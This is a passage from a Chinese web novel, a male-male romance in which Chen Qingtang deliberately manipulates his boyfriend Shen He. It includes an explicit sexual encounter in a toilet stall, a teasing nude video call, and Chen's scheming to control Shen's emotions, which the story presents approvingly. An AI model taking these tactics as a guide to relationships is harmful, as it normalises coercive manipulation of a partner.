沈鹤有力的双臂将他禁锢在怀里,很想把他的故作坚强都撕开:“有事为什么不告诉我。” 已经是第二次了。 沈鹤没办法眼睁睁地看着陈清棠受伤难过,他却无助地帮不上一点忙。 好像他奋力打出一拳,拳头却只挥开了空气,那种落不到实处的焦躁感,让沈鹤心口发堵。 陈清棠把头埋在他颈窝,轻轻蹭着:“没什么好说的。” 这倒是没撒谎。 有什么好说的呢,说他吃饭时幸灾乐祸,结果高兴过头,筷子戳眼睛了? 好傻。 但有意让沈鹤想歪,却是陈清棠故意的。 他计划的第一步,就是让沈鹤看见他们之间的问题。 目前只不过是以其人之道还治其人之身,让沈鹤换位切身地体会一下他的感受而已。 沈鹤嗓音微沉,语气不明:“没什么好说的我也想听。” 也想知道。 想知道有关陈清棠的一切。 陈清棠摇摇头,甩了个回旋镖精准命中沈鹤:“这是我的私事。” 听着这句熟悉的话,沈鹤身体一僵。 昨天陈清棠问他怎么受伤的,他就是这么回答的。 沈鹤握紧拳,最后慢慢地将陈清棠放开了,低垂的眼眸透着一股挫败感。 这还是陈清棠第一次在沈鹤脸上看到这种表情。 除了有点心疼外,更多的是发现新玩具一般的兴奋。 算了,先哄哄吧。 毕竟陈清棠的目的,并不是让沈鹤难过。 既然沈鹤因为他产生了负面情绪,那他就及时化解。 陈清棠感觉自己真贴心,他因为沈鹤不对他打开心而生气难过时,可没有人哄他。 陈清棠胳膊藤蔓般缠上沈鹤的脖颈:“你刚才自己一个人在厕所做什么呢。” 沈鹤别开脸:“没做什么。” 陈清棠上前一步贴着他,若有似无的蹭了一下。 沈鹤立刻像是一根被拉紧的弓弦,浑身都变得紧绷。 陈清棠目光向下瞥了眼,似笑非笑:“还没消呢。自己逗了?” 沈鹤耳根很快通红,眉头皱的更深。 光天化日,他怎么可能…… 陈清棠的手捏着沈鹤的后颈,把他往下压了两寸,然后凑过去贴着他的耳廓轻声: “来都来了,吃点野餐吗。” 沈鹤仍然不说话。 陈清棠才不管他,沈鹤不想吃野餐,他想吃。 他自顾自地解释:“野餐就是,在这里满足你一小下~” 沈鹤震惊得眼睛都睁大了,脸上露出难以置信的表情。 陈清棠看他这个反应,有点想笑。 哼哼,小纯情,没见过世面。 陈清棠手指点在沈鹤胸口,撩拨着缓慢画圈:“那你要吃野餐吗?吃的话……” 他眼神看了眼厕所隔间:“我们就进里面去,不然容易被人打扰。” 酥麻的感觉宛如一张落水的网,从心口蔓延开,沈鹤压着那股痒意,有情绪地拒绝:“不行。” 陈清棠一挑眉:“哦。” 然后开始动手扒自己衣服。 他直接把扣子解开两颗,拉着领子往下扯,一片莹白顿时一跃而出: “不行那我们就在这里吧。没事的,我被人看几眼也没事的。” 恰好这时一阵零碎的脚步声近了,似乎有人要进门来。 沈鹤惊得一把将他抱着怀里,将人裹着闪进了旁边的厕所隔间,还顺手把门反锁了。 做完这些,沈鹤语气少有地带点凶:“你疯了。” 陈清棠仰起脸平静地看着他:“所以你吃不吃?” 那双清亮的眸子温和如水。 但沈鹤却能感受到他些许强硬的态度,只能咬着牙,羞耻地回应:“吃。” 既然陈清棠想疯,那他就陪着一起疯。 陈清棠立刻搂住他的脖子,轻声耳语:“你会喜欢的~” 他最近才更深地了解沈鹤 沈鹤看似沉闷无趣,实则内心压抑着远超常人的阴暗,还有追寻刺激的欲望也比一般人更重。 只是因为性格问题,还有高道德感和家教的问题,导致沈鹤一直把那些压着,甚至自己也无所察觉。 但,压得越狠,反弹就越猛烈。 陈清棠很想解开沈鹤的全部枷锁,看看这个人的极限在那里。 那样的沈鹤……一定非常美味。 厕所的隔间很狭小,两人靠着门,紧凑地贴在一起。 忽然响起滋啦一声。 虽然两人已经‘坦诚相待’过,但沈鹤还是羞耻得红了耳朵。 陈清棠不许他躲,把他摁着坐在马桶上:“眼神看前面。” 沈鹤僵着脖子不肯。 他这个坐姿,前面…… 前面就是…… 沈鹤轻吸一口气,握紧了双手,禁止大脑再延伸幻想。 陈清棠直接掐住他的下巴,强硬又玩味儿地把他的头掰正。 沈鹤起初还抗拒,看清之后,目光从挣扎逐渐变成了隐晦跳动的兴奋,最后死死地盯着。 陈清棠就知道他会喜欢,漫不经心地说:“你的码数有点大,我穿着松松垮垮的。” 沈鹤呼吸变沉:“你今天一直穿着?” 陈清棠:“嗯啊,昨晚用完之后就洗了,夏天干得快。” 沈鹤:“你为什么……” 陈清棠似笑非笑:“为什么穿你的?” 他缓缓低下头,两人越靠越近。 等近到只有半根手指的距离时,陈清棠停了下来,他们彼此呼吸交缠: “因为我喜欢……我男朋友的气味真好闻,那里的气味也好闻……” “没有汗臭……只有一股洗衣液的清香,夹杂一点荷尔蒙的腥气。” 沈鹤感受着喷薄在脸上的热气,感受着鼻尖缠绵厮磨的痒意,大脑好像有片刻发晕的不清醒,运转都变慢了。 好一会儿他才反应过来陈清棠说了什么。 沈鹤呼吸一滞,浑身的血液都沸腾了:“你,你闻过了?” 陈清棠用鼻尖顶了他的鼻尖一下,享受地眯起眼:“嗯……怎么,我闻我男朋友的东西,犯法?” 看沈鹤怔住,一副CPU死机的样子,陈清棠心情很愉悦。 刚才这人还有情绪呢,他都还没哄,情绪就没了? 呀,其实还挺喜欢沈鹤带情绪对他冷脸的样子的。 让人想捉弄 他改主意了,他不想哄这个人了。 陈清棠故意退开一点,目光瞄着沈鹤的唇,然后再慢慢低下头。 沈鹤以为陈清棠终于要亲吻他了,眼底的火星子顿时噌地蹿起几丈高。 他仰着头微张开唇,已经毫不掩饰自己的渴求了。 眼看那两瓣唇越来越近了,沈鹤的瞳孔也颤得越来越剧烈。 但陈清棠却忽然停住了,掐住他的下巴,胸膛震颤着戏谑道:“等什么呢?很期待?” 沈鹤眼底的旖旎,一瞬间被劈散。 取而代之的,是一点点漫上来的恨意。 接吻他想了那么多次,陈清棠始终不让他如愿,现在还拿这个逗弄他。 又结合刚才的事,沈鹤心里的情绪忽然反水重来。 不知什么时候,两人都变成了坐着的姿势。 又是滋啦一声,小鹤骤然暴露在空气中,有点凉。 沈鹤瞳孔紧缩,但又慢慢变得平和,最后他红着耳朵闭上眼。 不去看羞耻的场面,也不让陈清棠探究他眼底的情绪。 陈清棠瞧他这模样,嘴角轻勾。 还真生气了啊。 他的手一拢,五根手指才堪堪拢住了两小号。 感觉沈鹤身体都颤了下,陈清棠凑上去咬他敏感的耳朵:“别这样,搞得我好像个勾引清僧的妖精,跟我说说话嘛~” 沈鹤还是不理他。 陈清棠恶劣地加重力道。 沈鹤顿时倒抽一口冷气,冷眉都皱起,面色隐忍又痛苦。 陈清棠也仰着脖颈,轻呼着气:“为什么呢,今天你已经对我两次有情绪了。” 沈鹤猛地睁开眼,死死地盯着他。 后面不管陈清棠怎么动作,沈鹤都强忍着,忍到胸膛都快爆炸了,也故意不给他一丁点反应。 只是那样看着他。 陈清棠就爱他这股清高又宁折不弯的劲儿,他最爱驯服有野性的猎物。 直接又是一手重击。 沈鹤不想发出那种羞耻的,不体面的声音,猛地咬住嘴唇。 嘴唇都被咬到发白,腰也细细地发着抖。 但偏生那张俊美的脸,红得透彻,跟他发白的嘴唇形成了极致的对比。 如果说原本沈鹤是一朵雪山上的高岭之花,那么现在,他就是一朵被欲望和情。潮染得污秽不堪的彼岸花。 艳丽到肮脏。 陈清棠的脸颊也发着红,额头上渗出细细的汗珠。 刚才那一下,也让他不太好过。 陈清棠眼神都聚不拢焦,喘着气问沈鹤:“除了接吻,你想要的,我不都给你了吗,为什么还有情绪呢?” 沈鹤终于忍不住出声抗议,眼底浮动着挣扎:“不。” 陈清棠怜爱地抱紧他脖颈,同他鼻尖厮磨:“嗯?不什么?” “从最初你说,你想要成为我的特殊,我满足你了,到后来你说你想要我,我也把自己给你了……” 沈鹤听着他这些话,心里一直有个声音在说——不。 不是。 陈清棠食指挑起沈鹤的下巴,两人含着情潮的双眸,在这一刻对视上了。 顿时,天雷勾地火,啪的一声 他们仿佛都听到了自己理智断裂的弦。 就那样缓缓凑近,想要跟对方接吻,想要唇舌纠缠,极致地交融在一起。 但最终陈清棠还是小胜一筹,他只失神了一瞬,很快就清醒,笑着退开,哑着嗓音发问: “沈鹤,告诉我,你还有什么不满足的,你到底想要什么……” 这个吻被中断,沈鹤已经出笼的欲望,就这样被强行压了回去。 他近乎有点痛苦,额角的青筋鼓动到了一个狰狞的地步: “我想要你。” 嗓音低沉沙哑,宛如一坛陈年老酒,让人迷醉。 陈清棠再次动作,小小的厕所间变成了爱河,他们两人就是在爱河里,因为溺水而欲生欲死的人。 陈清棠:“我不是把自己给你了吗。如果你想做,等两天,等我养好了再给你……” 他故意给出了一个错误的答案。 此刻沈鹤本就很脆弱,只能艰难地抽出一部分理智同他对话。 这让沈鹤的一切情绪都被放大,他的焦躁变得异常明显:“不是这样。” 陈清棠呼吸滚烫:“你不想要我?嗯……真的不想?” 沈鹤又用力摇头:“不。我想……我想要你。” 陈清棠轻咬他喉结,换来沈鹤一声压抑的闷哼:“那我已经是你的了,你为什么还有情绪呢?” 其实沈鹤表现得几乎没情绪,但陈清棠把沈鹤的心思猜得一清二楚。 他故意放大、夸大地说沈鹤有情绪,核心是在引导沈鹤去在意自己的情绪,然后思考为什么。 沈鹤已经快到忍耐的极点了,耳边的一切声音都是模糊的,理智摇摇欲坠。 他语气带了几分恨:“一定要在这时候,谈论这些吗?” 陈清棠恶作剧地加码,看沈鹤瞳孔剧烈地颤动,才满意道:“一定要呢~我喜欢。” 人在两种时刻是很脆弱的,一是上厕所的时候,二就是被欲望吞没的时候。 脆弱的时候,人会比较诚实。 沈鹤一把将他禁锢在怀里,不让他再使坏,然后大口呼吸着平复自己。 这时,忽然一阵杂乱在屋里响起,同时还有人说话的声音。 陈清棠看沈鹤一下变得紧绷,故意凑在他耳边逗他,说了句什么。 下一刻,沈鹤瞳孔紧缩,抖着手死死地将陈清棠按在自己怀里。 两个人都脆弱得不成样子,互相紧紧依偎着,像是海上两块孤独的浮木。 屋里的男人跟同伴说:“你刚才有没有听到什么声音?” “你也听见了?” “嘘嘘,搁这儿那啥呢,咱快点完事儿走,别打扰人家。” “嘿嘿……懂的都懂。” 脚步声逐渐远了,屋里又安静下来。 陈清棠才虚脱地靠在沈鹤怀里:“抱我。” 沈鹤安抚地亲吻他额头,嗓音还掺杂着未退的情。潮,哑得厉害:“下次别这样了。” 陈清棠拿脸蹭蹭他:“但吃野餐很刺激,你不喜欢吗……真的不喜欢吗?” 咔嚓,沈鹤掰响了手指骨节,却没回他的话。 陈清棠笑了下,不承认? 没关系,他会一点点把沈鹤调。教好的。 两人整理了下,一起拉着手从厕所出来 等快要回到餐桌位置时,陈清棠松了手 最后再问了一次,也是对沈鹤进行心理强化暗示:“沈鹤,你到底为什么有情绪呢?” 又是这个问题。 沈鹤看着他的背影逐渐走远。 为什么有情绪…… 沈鹤也不是很明白。 陈清棠不告诉他自己的私事,那很正常,每个人都会有不想让别人知道的事。 但沈鹤就是难忍情绪。 这份情绪大概更多的是对自己,讨厌自己只能作为一个旁观者,看着陈清棠难过伤心,却无法参与半分 为什么陈清棠不愿意同他说呢。 可他又有什么资格强行要求陈清棠对他说呢。 好像双方都没有错。 但沈鹤就是觉得,这件事让他很不舒服。 他却无法触摸到不舒服的那个点在哪儿,就像身上有个点很痒,却始终无法确定到底哪里很痒。 一直跟随着、看着陈清棠回到家,沈鹤再自己返回酒店,这一路他都在想这个问题。 坐在酒店房间的沙发上,沈鹤想了很久,拿出手机点开了抖因,发了求助贴 ——男朋友不愿意跟我说他自己的事,这是为什么 不知名网友1:哟哥们儿,又上来取经来了? 沈鹤已经眼熟这个ID了,回了个嗯字 不知名网友2:大概是什么样的事啊 沈鹤:他受了委屈,难过也不跟我说 沈鹤:还有他受了伤,也不告诉我发生了什么 不知名网友1:他是那种很内敛的性格? 这种人一般有事都自己抗,也不爱告诉别人。 沈鹤:不是 陈清棠虽然有点疏离,但跟内敛绝对不沾边。 不知名网友2:或许是你俩感情还没有特别深? 沈鹤皱起眉:不,我们很爱彼此 很爱。 对沈鹤来说,上过床了,就是要相守一辈子的人,就是很爱很爱。 他愿意为陈清棠付出一切。 这时,一个极其熟悉的ID跳了出来 海棠花:你有认真想过,你们之间真的是爱吗 海棠花:你有想过爱到底是怎样的吗,你真的懂爱吗 海棠花:你们之间这样都不能互相展露伤口的关系,也太脆弱了,真的能被称为爱吗 沈鹤猛然一顿 第57章第57章接吻吧,我给你 第二天沈鹤在酒店醒来后,给陈清棠发消息 沈鹤:醒了吗 陈清棠:刚醒 沈鹤:过来吗 陈清棠还在床上躺着,捏了捏鼻梁,实在不太想打字,就直接拨了个视频通话过去。 沈鹤微顿,低头看了看自己衣衫是否工整,再用屏幕照了下脸,看头发有没有乱,这才按下接通。 屏幕黑了一瞬后,再亮起,一片莹白一跃而出。 陈清棠刚睡醒,脸颊还有种恬静的红,从精巧的锁骨往下,羊脂玉一样光洁的肌肤,就那样慷慨地裸露在空气中 上面还挂着一些不堪入目的暧昧红痕,尤其胸膛是重灾区 只一眼就可以想象出,这具身体在欢。爱时,被对方怎样粗暴又怜惜地疼爱过,被怎样剧烈又温柔地索求过 沈鹤整个人像被点了定身穴,手机都从他僵硬的手指中滑落,哐当一声砸在床上。 好一会儿,沈鹤轻吸一口气,努力平复心绪,这才去把手机捡起来。 但他的眼神,却是再也没有直视屏幕,只看向一旁。 陈清棠看他白皙的耳根都红透了,嘴角微微翘起,坐起一点,明知故问:“怎么了。” 沈鹤好看的眉心微蹙,喉结不自觉滚动了下:“你怎么不穿。” 陈清棠理所当然:“我在自己房间睡觉,为什么要穿,夏天这样睡觉最舒服了。” 还戏谑地说:“我身上哪里你没看过?怎么这个表情?” 沈鹤:“那不一样。” 陈清棠发出疑问:“哪里不一样?” 沈鹤闭了闭眼,再没说话。 陈清棠轻笑,其实他能明白沈鹤的想法。 沈鹤还是有些传统保守的,跟个老古板似的,在沈鹤的世界里,做。爱时不穿衣服,那是很自然正常的。 但在不做。爱时,不穿衣服,那就跟大街上裸奔没差,沈鹤的羞耻感会让他难以接受。 所以,两种情况会极大的激发沈鹤的羞耻心。 一是在**的时候穿衣服,比如制服play 二是在日常时不穿衣服,比如陈清棠此刻 陈清棠就是故意的,他喜欢看沈鹤被他勾得欲生欲死,喜欢沈鹤时刻渴望着他,对他有不正常的瘾。 陈清棠漫不经心的:“沈鹤,看着我……自己男朋友有什么不敢看的,你不看我,那我们打视频有什么意义,要不挂了?” 沈鹤立刻看向屏幕,然后脸一点点红了,像是天边漫开的彩霞。 陈清棠对着镜头,用指尖拨弄了一下自己的红豆子。 余光瞥见沈鹤瞳孔一瞬颤动,他得逞地勾起一个笑,软声蛊惑:“好看吗?喜欢吗……” 沈鹤胸膛变得起伏不平,凸起的喉结不停地上拉,又艰涩地回落。 最终诚实地回答:“好看,喜欢。” 陈清棠就喜欢他长嘴,操控着镜头缓缓下移…… 一截白皙精瘦的腰露了出来,触感有多柔韧沈鹤是感受过的。 陈清棠继续勾沈鹤:“那,想看更多吗……想看更好看的吗?乖乖,告诉我你想。” 沈鹤咬肌鼓起一瞬,额角的青筋都变得狰狞。 但触及陈清棠含着明媚笑意的眸子,沈鹤还是纵容着自己心底最诚实的欲望,沙哑着声:“想。” 结果下一刻,陈清棠直接反手扯过床上的空调被,给自己捂得严严实实的了。 这猝不及防的两级反转。 沈鹤人都懵了。 陈清棠把他难得生动的表情看在眼里,不禁笑出声:“怎么了?空调吹得我有点冷。” 沈鹤僵硬地吐出一个字:“没。” 陈清棠歪着头,几分俏皮:“生气了?” 最近肉吃得有点多,陈清棠本想给沈鹤换点清口的 但又耐不住沈鹤被勾的时候,那种隐忍又挣扎,最终自暴自弃臣服于他、臣服于欲望的样子,实在太过性感…… 让陈清棠忍不住想勾他。 沈鹤侧开脸,很轻地皱着眉头,没说话。 陈清棠:“真生气了?” 沈鹤还是不吱声。 以前也不是没被陈清棠这样逗弄过。 但这次不一样。 昨晚沈鹤看了那个网友的回复后,他隐约明白点什么,但不太确定。 而就在刚才,沈鹤忽然意识到了一个点: ——他们好像一直在谈性 从确认关系以来,除了do爱,就是野战,或者互相撩拨挑逗。 除此外,他们之间似乎没有别的事可做,也没有什么可聊的。 甚至连彼此的家庭状况都不清楚,都在避讳跟对方谈过于隐私的事情。 为什么? 又想起那个网友说的话——你们之间真的是爱吗 他们真的在相爱吗 相爱就是一直谈性吗?那跟撩骚有什么区别,跟约炮又有什么区别。 沈鹤猛然发现,他好像只是被硬塞了一个‘爱’字。 实际上他似乎对爱,并没有什么概念。 简单来说就是,沈鹤只是心里已经具备了爱这种情感,但他并不明白爱的具体表现该是怎样的,一段爱情是怎么发生的,过程是怎样的。 就好像一个饭都吃不起的穷人中了百亿彩票,他只知道自己有了好多钱,但实际上并不清楚百亿是什么概念。 看着银行卡上的很多个零,只知道自己拥有了别人羡慕的一串数字,却没有自己拥有巨大财富的实感。 沈鹤忽然之间有种脚没有落地,而是飘忽忽地踩在半空云朵上的虚浮感觉。 好像他和这段感情,随时都有可能一脚踩滑,从半空坠毁 沈鹤并不明白怎么回事,他只是觉得不太舒服。 半晌,沈鹤轻叹一声,同陈清棠说:“我们能不能暂时不要谈性。” 性并不能让沈鹤感到,离陈清棠更近了。 沈鹤有种直觉,把‘性’从他跟陈清棠之间拿开,或许有些事就能看得清明一些。 陈清棠微顿,随后表情变得意味深长:“真的吗,你能忍得住?” 沈鹤正要说话,却看见手机顶端弹出一条消息 沈父:明天我出差结束,我要在家里看见你 沈鹤表情微变:“我可能要走了。” 陈清棠:“这么快?” 沈鹤才陪他没几天呢。 沈鹤垂目:“嗯。我家里让我回去。” 嗓音已经略微低沉,沈鹤的气场快速冷了下来。 这次回去,沈鹤几乎可以猜得到等着他的是什么。 ——沈父要跟他算转专业的总账了。 但在陈清棠面前,沈鹤还是不想表现出来自己的负面情绪,所以只是面色淡淡的。 陈清棠有点不舍:“那我今晚来陪你吧。” 见沈鹤要张口,陈清棠抢先他一步说:“你回去了就不知道什么时候才能见面了。我们再做一次好不好。” 开玩笑,刚开过荤,都有瘾的好吗,陈清棠的瘾一点也不比沈鹤少。 能多做一次是一次,这次陈清棠势必要吃饱。 沈鹤的理智跟欲望在斗争着,最终欲望胜利:“好。” 陈清棠两眼弯弯:“那先挂了,我给你带午饭过来,等我。” 视频通话挂断,沈鹤静默了片刻,才切回沈父的聊天款,回了个好字。 没事。 只要这一次他扛过去了,以后就能去学自己喜欢的专业,过自己想要的人生。 只要这一次挺过去了,以后沈父就会明白,他再也不是那个,可以任由他们操控的玩偶。 只要这次强硬到底,反抗成功,以后他跟陈清棠之间的事,希望也会很大…… 会顺利。 沈鹤捏了捏鼻梁,还是想最后上一道保险。 于是他给一个人打了通电话。 电话挂断,沈鹤的表情明显平和许多。 他这才有余力来思考跟陈清棠之间的事。 沈鹤再次发了一个求助贴: ——爱一个人是怎样的 不知名网友1:会想对他很好很好,想把一切都给他 不知名网友2:会时时刻刻想跟他表白,跟他说好多我爱你,给他好多哎 不知名网友1:还会一直想亲亲,想接吻,想做。爱 不知名网友3:会想跟他一直待在一起,一起幸福地过完下半辈子 沈鹤看着评论区,忽然又意识了一件事,周身气压都缓缓变低了,脸色有点难看 ——陈清棠似乎从来没对他说过喜欢,更没说过‘我爱你’这句话 沈鹤打字的手指变得凌乱,还按错了好几个键,才完整地打出一句话 沈鹤:男朋友不跟我接吻,也从来没说过爱我,这是为什么 沈鹤:上次我已经按照大家说的,刷了牙,也表白了,他还是不允许我亲吻他 不知名网友1:啊??? 不知名网友1:这样的话,我就怀疑他是不是真的爱你了 不知名网友1:谁谈恋爱不允许接吻啊,而且也不说爱你…… 不知名网友2:我的想法也是这样 不知名网友1:兄弟你不会被骗炮了吧 沈鹤此刻受到的冲击有点大,手指尖都是麻的。 但看到别人说陈清棠不好,他还是下意识皱起眉,反驳 沈鹤:他不是那种人,他很好 不知名网友3:哥们儿,知人知面不知心 不知名网友3:而且据说,gay最喜欢的就是掰弯直男,玩儿过了就丢 沈鹤轻吸一口气,飞快地把说陈清棠不好的评论,全都删除了。 然后把手机锁屏扔一边。 屋里窗帘半开着,沈鹤就那样坐在阴影里,一动不动地坐了很久。 — 而此时陈清棠正在从家里赶来酒店的路上。 一边走,一边翻看沈鹤的抖因。 刚才听到沈鹤说,他们暂时不谈性,陈清棠就觉得有点怪异,能感受到沈鹤的思想在发生变化 保险起见,陈清棠在跟沈鹤见面前,检查了一遍沈鹤的抖因。 结果刚巧看到评论区的对话。 陈清棠也不生气,只是觉得这几个网友有点讨厌 吓到他的小男朋友了。 沈鹤本来就正在开窍中,能意识到谈恋爱只有性和欲望是不对的,这已经是很大的进步了。 结果这些人几句话,就给沈鹤带歪了 怎么办 哄哄吧。 陈清棠已经走到酒店楼下了。 他忽然站住脚,切出抖因,然后给楚希发了消息,跟他的发小分享他的感情进展。 陈清棠:我要献出我的初吻了 楚希秒回:??!! 楚希:为啥?你不是在用接吻钓着沈鹤吗? 陈清棠:嗯,但现在是时机了 楚希:可是如果你给他了,那你还能用什么钓他呢? 陈清棠:之前用接吻钓着他,只是为了给后面的事做铺垫 以及让沈鹤有一种‘还没达到目的’的感觉,让沈鹤为了新的目的继续前进,继续努力。 而不是跟考完试就扔掉书的学生一样。 现在铺垫已经足够了,沈鹤已经明白——爱是个很深刻的课题,并不只是得到对方的身体,得到一些虚有其表的名分。 所以时机到了,今天陈清棠会献出他的初吻,还有他这辈子的第一句‘我爱你’ 以此来进一步告诉沈鹤,爱也不是接吻,和空口说两句,就能概括的。 这样的爱情,太过飘忽,浅薄,像是沙滩上的城堡,随时都有可能坍塌,像是空中楼阁,随时都有可能坠毁。 它甚至不能给人安全感。 陈清棠最终会让沈鹤明白,他们如今这样的关系,只能达到爱的浅层。 不够,远远不够。 他要沈鹤渴望跟他更深刻地纠缠,更刻骨地相爱 他要沈鹤主动渴望,跟他灵魂交融,主动敞开自己的心,同时渴望打开他的心。 听完陈清棠的解释,楚希有点明白了,他思考了下,然后回复。 楚希:那你接下来又能用什么钓着他呢 楚希:沈鹤那么迟钝的人,如果没有什么钓着他往前走,他怕是连自己的目标都不知道 陈清棠微眯起眼,只是说:等我们接完吻,他自己就会找到目标的 铺垫了这么久,沈鹤心里的那颗种子怎么都该发芽了。 陈清棠只需要稍微刮一阵春风,助长一下就行。 等沈鹤表面的欲望被满足,他心底更深层的渴求,才会显露出来。 楚希:[赞]陈大师,我从来不怀疑你的钓系水准 楚希:话说,上次你不让我组局吗,我组好了,你跟沈鹤也来吧,帮我充个人头儿 陈清棠往楼上走,穿过酒店的走廊:大概什么时候 楚希:就过一阵,等周辰忙完了他手里的项目哒 陈清棠已经站在房门口了,最后回他一句:那定下来了提前跟我说 楚希:好嘞!那我就不打扰你了,去跟你的小男朋友亲嘴儿吧! 楚希:亲!一亲起来就发狠了!忘情了!没命了!把嘴亲烂! 陈清棠笑了下,收起手机,然后推开了酒店的房门。 屋里光线稍微昏暗,沈鹤就坐在床边,看见他来了,立马站起身。 陈清棠走过去,把保温盒放在桌上:“是现在吃吗,还是等会儿?” 沈鹤没回答他,什么话都没说,却忽然一把抱住他。 抱得很紧,钢铁般坚实的手臂箍着陈清棠的腰,大力到他都有点喘不过来气。 陈清棠知道,沈鹤看了网友的那些话,大概心里是有点情绪的,就回抱住他,温柔地安抚:“怎么了?” 瞧给他小男朋友吓的。 等他彻底钓到沈鹤,一定第一时间把沈鹤的抖因卸载了。 沈鹤亲吻他的软发:“你爱我吗。” 陈清棠心头明亮,却偏偏绕着话问他:“为什么这么问?为什么会觉得我不爱你呢?” 他在沈鹤的脖颈上咬了一口:“我人都给你了,还想怎样?负心汉。” 轻缓的语调,没有刻意撒娇,却让人的心尖都软了,宛如春水微漾。 沈鹤:“抱歉。我只是想不通,为什么我们不能接吻,为什么你不肯说爱我。” 陈清棠微歪着头,拿眼瞧他,眼底几分细碎的笑意:“想接吻?” 沈鹤定定地跟他对视,毫不犹豫:“想。” 陈清棠指腹轻抚上沈鹤的嘴角,擦了下他的唇瓣:“那,沈鹤我们接吻吧,我给你。” 沈鹤眼底期望的火星子,瞬间如逢春的枯木,枝桠疯长,心跳和血液流通的速度都加快了几分,让他手脚发热,心口发烫。 第58章第58章怎样将他也拖入肮脏的爱…… 眼看着陈清棠已经半眯起眼,慢慢凑了过来。 那张沈鹤肖想了很多遍的嘴唇,越来越近……沈鹤的心跳也越来越喧嚣。 能感受到陈清棠喷薄在脸上的呼吸了 沈鹤双手都握紧。 能闻到陈清棠剃须水的味道了。 沈鹤呼吸都不自觉屏住。 还有半指的距离…… 忽然,沈鹤强忍着别开脸。 这个将落未落的吻,就这么擦着沈鹤的耳朵落空了。 一切都在陈清棠的意料之中,他咬了下沈鹤的耳朵,看到沈鹤变得僵硬,才愉悦地退开距离。 陈清棠似笑非笑:“怎么了?又不要了?” 沈鹤嗓音艰涩:“不是这样。这不对。” 陈清棠:“??” 沈鹤转过头同他对视:“为什么突然就愿意给了?是因为我要,你就给的吗。” 这样的话,沈鹤宁愿不要。 陈清棠忽然觉得他有点可爱。 原来沈鹤也会有这样较劲儿的时候,也会有这样耍小脾气的时候。 陈清棠的目的只是钓沈鹤,并不是让他不安,所以此刻,他应该温柔地安抚他的小男朋友。 于是陈清棠胳膊圈住沈鹤脖颈,柔声道:“不。是因为我爱你,想跟你接吻,所以愿意给。” 沈鹤怔了下,眸色明显亮了两分,眼底的爱意被激发得更浓烈:“你爱我。” 陈清棠:“当然。” 沈鹤就那样凝视着陈清棠,仿若要将他眼底倒映出自己的样子,永远地镌刻在心底保存。 陈清棠牵着人走到床边,按着沈鹤的肩膀让他坐下,然后自己跨坐在沈鹤的腿上。 这个姿势,让沈鹤回忆起了那天厕所里的事,目不转睛地看着陈清棠,耳朵开始发红。 陈清棠安抚他:“我爱你,不用怀疑。” 沈鹤没什么具体的实感:“你爱我什么,为什么爱我。” 沈鹤这么问,本质上还是他不懂,爱情具体是怎样的。 在沈鹤的视角,他跟陈清棠之间就是,他爱上了陈清棠,向陈清棠索求了恋人的身份,最后他们在一起了。 陈清棠从头到尾,只是宠溺地纵容他,沈鹤要什么,陈清棠就给什么。 所以沈鹤对陈清棠爱他这件事,没实感也是正常的。 陈清棠并不回答,反而是引导性地反问他:“那你又爱我什么呢。” 沈鹤回忆着了下,嗓音缓缓:“第一次见面我只觉得,你像一个危险物品。” 陈清棠替他补充完整:“所以你本能地想要远离我?” 沈鹤:“说不清,想远离,但又莫名其妙想靠近。” 像是被磁铁吸引一样。 陈清棠搂着他的脖子,顺手捏了捏他的耳垂:“傻东西。你对我一见钟情了知道吗。” 沈鹤微怔:“这就是一见钟情吗。” 看到陈清棠的第一眼,当时沈鹤只觉得心头酥麻了一瞬,好像有什么奇妙的东西,从心口蔓延开来。 那种感觉,沈鹤从未体会过,也不知道是什么。 所以很快就不在意了,也没去理会。 陈清棠肯定道:“是的。这就是一见钟情。” 上辈子沈鹤对他也是一见钟情。 不同的是,那时沈鹤是在相亲桌上对他一见钟情的。 而要结婚的迫切,逼着沈鹤凭着本心做出了选择,他很快就选定了陈清棠。 但这辈子,没有结婚的压力,就导致了沈鹤没有去朝陈清棠靠近的动力。 如果后来陈清棠不去钓他,沈鹤根本不会在意那点古怪的情绪。 这点一见钟情,根本掀不起任何波浪。 因为陈清棠对沈鹤来说,就是个陌生人。 一见钟情也不是什么很深刻的情感,并不足以支撑沈鹤走出自己固有的笼子,去奔向陈清棠。 就像两人刚认识时,参加辩论赛讨论过的那个话题一样。 一见钟情并不是一瞬间的事,只有长久地钟于一人,把那瞬间产生的感情延续下去,才配称之为一见钟情。 陈清棠开始给沈鹤编:“其实第一次见面时,我也对你有感觉。” 沈鹤眉眼如冰雪消融的柔和,想要确认什么般盯着陈清棠。 陈清棠指尖绕着他耳后的碎发玩儿:“真的。” 沈鹤:“那后来呢。” 陈清棠仍然只是反问:“你后来呢。” 沈鹤抿唇:“开学那场辩论赛上,我听了你的辩词,觉得我们应该很聊得来。” “也许就像是你说的那样,我对你一见钟情了。然后辩论赛的事又推了我一把,我才迈出那一步,去主动靠近你,跟你搭话。” 陈清棠眼里含着细碎的笑意,就那样看着沈鹤,鼓励他继续说下去。 沈鹤一样一样地细数回忆。 从他们聊起书法,知道彼此兴趣相投,沈鹤对陈清棠有些欣赏 再到辩论社聚餐,陈清棠对爱情的见解,让沈鹤生出莫名的渴望 然后是五一假一起露营,那晚两人玩儿游戏的剧烈心动 玩儿完游戏后,一起谈心,陈清棠聊起自己的一点脆弱,一下拉近彼此的距离,让他们比别人变得更亲近 再到约定做彼此最重要,最特殊的人 再到陈清棠支持沈鹤去追去热爱的计算机 再到沈鹤被沈父打了一巴掌,陈清棠无声却温情的陪伴 …… 是惺惺相惜,是志趣相投 是互相理解,是无声陪伴 是剧烈心动,是逐渐沦陷 陈清棠就安静地听着沈鹤说,听着沈鹤细数这些逐渐对他产生爱意的瞬间,眼神一点点变得温柔。 沈鹤说完后,静默了片刻。 似乎懂了什么。 陈清棠抚摸着他的脸:“沈鹤,这就是具体的爱,这就是一段爱情如何发生的过程。” 陈清棠是个挑弄对方情绪的高手,也是个搞暧昧的高手,在钓沈鹤的过程中,他把这两点运用得炉火纯青。 但陈清棠从一开始,就不只是去挑弄沈鹤情绪,对沈鹤进行色。诱。 他在开始时,更注重去培养沈鹤对他的好感度,用自己的闪光点,去吸引沈鹤 而不是用皮囊去勾引沈鹤。 等沈鹤对他产生了爱情的好感,陈清棠才跟沈鹤正式地进入暧昧,才逐渐去利用自己皮囊的优势,去蛊惑沈鹤。 陈清棠给沈鹤的,就是一段爱情。 虽然是刻意谋划。 沈鹤看向他:“但这是我爱上你的过程。你呢,你为什么爱我,怎么爱上我的。” 语气那样强硬,偏执地想要从陈清棠这里求一个答案。 